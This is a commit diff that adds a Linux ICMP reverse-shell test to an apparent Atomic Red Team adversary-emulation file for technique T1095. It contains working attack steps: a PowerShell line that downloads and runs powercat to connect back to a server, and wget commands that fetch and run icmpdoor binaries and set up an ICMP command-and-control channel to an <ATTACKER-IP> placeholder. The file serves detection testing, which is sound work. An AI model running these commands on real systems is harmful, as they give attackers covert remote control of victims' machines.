Added T1095 for Linux (#3063)

Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>

atomics/T1095/T1095.yaml

@@ -85,3 +85,34 @@ atomic_tests:
       IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1')
       powercat -c #{server_ip} -p #{server_port}
     name: powershell
+- name: Linux ICMP Reverse Shell using icmp-cnc
+  description: |
+    ICMP C2 (Command and Control) utilizes the Internet Control Message Protocol (ICMP), traditionally used for network diagnostics, as a covert communication channel for attackers. By using ICMP, adversaries can send commands, exfiltrate data, or maintain access to compromised systems without triggering network detection systems.
+    This method allows attackers to communicate and control compromised devices while remaining undetected.
+
+    For more details, check this blog: [ICMP Reverse Shell Blog](https://cryptsus.com/blog/icmp-reverse-shell.html)
+
+    **Important Notes:**
+    - Use `[icmp-cnc]` for the C2 server (Attacker) and `[icmpdoor]` for the C2 client (Victim).
+    - Binaries work on Ubuntu 22.04.5 LTS; for CentOS Stream or other, use the Python file from the GitHub link [https://github.com/krabelize/icmpdoor].
+    - Root access is required.
+  supported_platforms:
+  - linux
+  executor:
+    steps: |
+      1. Run the following command on both the attacker and victim machines to download the required binaries.
+
+          mkdir -p /tmp/icmpdoor && wget -P /tmp/icmpdoor https://github.com/krabelize/icmpdoor/raw/2398f7e0b8548d8ef2891089e4199ee630e84ef6/binaries/x86_64-linux/icmp-cnc https://github.com/krabelize/icmpdoor/raw/2398f7e0b8548d8ef2891089e4199ee630e84ef6/binaries/x86_64-linux/icmpdoor && chmod +x /tmp/icmpdoor/icmp-cnc /tmp/icmpdoor/icmpdoor && echo 'export PATH=$PATH:/tmp/icmpdoor' >> ~/.bashrc && source ~/.bashrc
+
+      2. Start the C2 server on the attacker system to listen for incoming connections.
+
+          icmp-cnc --interface <Network Interface> --destination_ip <VICTIM-IP>
+
+      3. Run the client on the victim machine.
+
+          icmpdoor --interface <Network Interface> --destination_ip <ATTACKER-IP>
+        
+      4. Cleanup Command: Remove the icmpdoor directory.
+
+          rm -rf /tmp/icmpdoor
+    name: manual